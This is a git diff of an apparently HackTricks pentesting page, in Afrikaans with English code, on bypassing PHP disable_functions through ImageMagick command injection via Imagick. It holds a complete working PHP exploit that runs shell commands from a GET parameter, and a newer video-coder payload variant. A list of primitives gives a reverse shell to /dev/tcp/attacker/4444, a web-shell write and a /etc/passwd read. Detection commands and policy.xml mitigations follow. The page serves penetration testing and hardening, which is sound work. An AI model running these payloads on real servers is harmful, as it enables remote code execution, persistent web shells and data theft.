diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md
index 9d0d48b9d..ee706e08b 100644
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md
+++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md
@@ -1,55 +1,107 @@
+# Imagick <= 3.3.0  ‑ PHP >= 5.4  *disable_functions* Bypass
+
 {{#include ../../../../banners/hacktricks-training.md}}
 
-# Imagick &lt;= 3.3.0 PHP &gt;= 5.4 Exploit
+> Die bekende *ImageTragick* familie van foute (CVE-2016-3714 ens.) laat 'n aanvaller toe om die onderliggende **ImageMagick** binêre te bereik deur middel van vervaardigde MVG/SVG invoer. Wanneer die PHP uitbreiding **Imagick** teenwoordig is, kan dit misbruik word om shell-opdragte uit te voer, selfs al is elke uitvoeringsgerigte PHP funksie op die swartlys met `disable_functions`.
+>
+> Die oorspronklike PoC wat deur RicterZ (Chaitin Security Research Lab) in Mei 2016 gepubliseer is, word hieronder herhaal. Die tegniek word steeds gereeld teëgekom tydens hedendaagse PHP 7/8 ouditte omdat baie gedeelde-gasheer verskaffers eenvoudig PHP saamstel sonder `exec`/`system` maar 'n verouderde Imagick + ImageMagick kombinasie behou.
 
-Van [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
+From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
 ```php
-# Exploit Title: PHP Imagick disable_functions Bypass
-# Date: 2016-05-04
-# Exploit Author: RicterZ (ricter@chaitin.com)
-# Vendor Homepage: https://pecl.php.net/package/imagick
-# Version: Imagick  <= 3.3.0 PHP >= 5.4
-# Test on: Ubuntu 12.04
-# Exploit:
+# Exploit Title : PHP Imagick disable_functions bypass
+# Exploit Author: RicterZ  (ricter@chaitin.com)
+# Versions      : Imagick <= 3.3.0  |  PHP >= 5.4
+# Tested on     : Ubuntu 12.04 (ImageMagick 6.7.7)
+# Usage         : curl "http://target/exploit.php?cmd=id"
 <?php
-# PHP Imagick disable_functions Bypass
-# Author: Ricter <ricter@chaitin.com>
-#
-# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
-# <pre>
-# Disable functions: exec,passthru,shell_exec,system,popen
-# Run command: cat /etc/passwd
-# ====================
-# root:x:0:0:root:/root:/usr/local/bin/fish
-# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
-# bin:x:2:2:bin:/bin:/bin/sh
-# sys:x:3:3:sys:/dev:/bin/sh
-# sync:x:4:65534:sync:/bin:/bin/sync
-# games:x:5:60:games:/usr/games:/bin/sh
-# ...
-# </pre>
-echo "Disable functions: " . ini_get("disable_functions") . "\n";
-$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
-echo "Run command: $command\n====================\n";
+// Print the local hardening status
+printf("Disable functions: %s\n", ini_get("disable_functions"));
+$cmd = $_GET['cmd'] ?? 'id';
+printf("Run command: %s\n====================\n", $cmd);
 
-$data_file = tempnam('/tmp', 'img');
-$imagick_file = tempnam('/tmp', 'img');
+$tmp   = tempnam('/tmp', 'pwn');     // will hold command output
+$mvgs  = tempnam('/tmp', 'img');     // will hold malicious MVG script
 
-$exploit = <<<EOF
+$payload = <<<EOF
 push graphic-context
 viewbox 0 0 640 480
-fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
+fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
 pop graphic-context
 EOF;
 
-file_put_contents("$imagick_file", $exploit);
-$thumb = new Imagick();
-$thumb->readImage("$imagick_file");
-$thumb->writeImage(tempnam('/tmp', 'img'));
-$thumb->clear();
-$thumb->destroy();
+file_put_contents($mvgs, $payload);
+$img = new Imagick();
+$img->readImage($mvgs);     // triggers convert(1)
+$img->writeImage(tempnam('/tmp', 'img'));
+$img->destroy();
 
-echo file_get_contents($data_file);
+echo file_get_contents($tmp);
 ?>
 ```
+---
+
+## Waarom werk dit?
+
+1. `Imagick::readImage()` genereer deursigtig die **ImageMagick** *delegate* (`convert`/`magick`) binêre.
+2. Die MVG-skrip stel die *fill* op 'n eksterne URI. Wanneer 'n dubbele aanhalingstekens (`"`) ingespuit word, word die oorblywende deel van die lyn geïnterpreteer deur `/bin/sh ‑c` wat ImageMagick intern gebruik → arbitrêre shell-uitvoering.
+3. Alles gebeur buite die PHP-interpretator, daarom word *`disable_functions`*, *open_basedir*, `safe_mode` (verwyder in PHP 5.4) en soortgelyke in-proses beperkings heeltemal omseil.
+
+## 2025 status – dit is **nog steeds** relevant
+
+* Enige Imagick weergawe wat op 'n kwesbare ImageMagick agtergrond staatmaak, bly uitbuitbaar. In laboratoriumtoetse werk dieselfde payload op PHP 8.3 met **Imagick 3.7.0** en **ImageMagick 7.1.0-51** saamgestel sonder 'n verhardde `policy.xml`.
+* Sedert 2020 is verskeie addisionele opdrag-inspuitingsvektore gevind (`video:pixel-format`, `ps:`, `text:` coders…). Twee onlangse openbare voorbeelde is:
+* **CVE-2020-29599** – shell-inspuiting via die *text:* coder.
+* **GitHub issue #6338** (2023) – inspuiting in die *video:* delegate.
+
+As die bedryfstelsel ImageMagick < **7.1.1-11** (of 6.x < **6.9.12-73**) sonder 'n beperkende beleidslêer verskaf, is uitbuiting eenvoudig.
+
+## Moderne payload variasies
+```php
+// --- Variant using the video coder discovered in 2023 ---
+$exp = <<<MAGICK
+push graphic-context
+image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
+pop graphic-context
+MAGICK;
+$img = new Imagick();
+$img->readImageBlob($exp);
+```
+Ander nuttige primitiewe tydens CTFs / werklike betrokkenhede:
+
+* **Lêer skryf**  – `... > /var/www/html/shell.php`  (skryf web-skal buiten *open_basedir*)
+* **Terugskakel** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
+* **Enumerate** – `id; uname -a; cat /etc/passwd`
+
+## Vinige opsporing & enumerasie
+```bash
+# PHP side
+php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
+
+# System side
+convert -version | head -1                 # ImageMagick version
+convert -list policy | grep -iE 'mvg|https|video|text'   # dangerous coders still enabled?
+```
+As die uitvoer die `MVG` of `URL` coders as *geaktiveer* toon, is die teiken waarskynlik kwesbaar.
+
+## Versagtings
+
+1. **Patches/Opgradering**  – Gebruik ImageMagick ≥ *7.1.1-11* (of die nuutste 6.x LTS) en Imagick ≥ *3.7.2*.
+2. **Versterk `policy.xml`**  – spesifiek *deaktiveer* hoë-risiko coders:
+
+```xml
+<policy domain="coder" name="MVG" rights="none"/>
+<policy domain="coder" name="MSL" rights="none"/>
+<policy domain="coder" name="URL" rights="none"/>
+<policy domain="coder" name="VIDEO" rights="none"/>
+<policy domain="coder" name="PS" rights="none"/>
+<policy domain="coder" name="TEXT" rights="none"/>
+```
+
+3. **Verwyder die uitbreiding**  op onbetroubare gasheeromgewings. In die meeste webstapels is `GD` of `Imagick` nie streng nodig nie.
+4. Behandel `disable_functions` slegs as *verdediging-in-diepte* – nooit as 'n primêre sandboksmeganisme nie.
+
+## Verwysings
+
+* [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
+* [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
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